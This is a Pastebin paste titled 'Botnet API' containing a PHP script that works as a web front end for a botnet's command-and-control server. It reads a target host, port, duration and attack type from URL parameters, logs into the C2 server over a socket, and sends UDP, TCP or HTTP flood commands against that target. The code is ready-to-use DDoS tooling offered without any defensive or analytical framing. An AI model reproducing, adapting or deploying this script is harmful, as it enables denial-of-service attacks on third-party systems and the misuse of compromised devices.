Advertisement
n00dl3z

Botnet API

Nov 3rd, 2016
734
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. <?php
  2.  
  3. // MODIFIED BY n00dl3z
  4.  
  5. //API Link: http://ServerIP/StressAPI.php?&host=$host&port=$port&time=$time&type=$method
  6. set_time_limit(0);
  7.  
  8. //CNC SERVER IP
  9. $server = "YOUR_IP_HERE";
  10.  
  11. //CNC PORT
  12. $conport = YOUR_PORT_HERE;
  13.  
  14. //Net Login
  15. $username = "Login";
  16. $password = "Pass";
  17.  
  18. $activekeys = array();
  19.  
  20. $method = $_GET['type'];
  21. $target = $_GET['host'];
  22. $port = $_GET['port'];
  23. $time = $_GET['time'];
  24.  
  25.  
  26. //Commands (change accordingly)
  27. if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 10";}
  28. if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 10";}
  29. if($method == "HTTP"){$command = "!* HTTP $target $time";}
  30.  
  31. $sock = fsockopen($server, $conport, $errno, $errstr, 2);
  32.  
  33. if(!$sock){
  34. echo "Couldn't Connect To CNC Server...";
  35. } else{
  36. print(fread($sock, 1024)."\n");
  37. fwrite($sock, $username . "\n");
  38. echo "<br>";
  39. print(fread($sock, 1024)."\n");
  40. fwrite($sock, $password . "\n");
  41. echo "<br>";
  42. if(fread($sock, 1024)){
  43. print(fread($sock, 1024)."\n");
  44. }
  45.  
  46. fwrite($sock, $command . "\n");
  47. fclose($sock);
  48. echo "<br>";
  49. echo "> $command ";
  50. }
  51. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement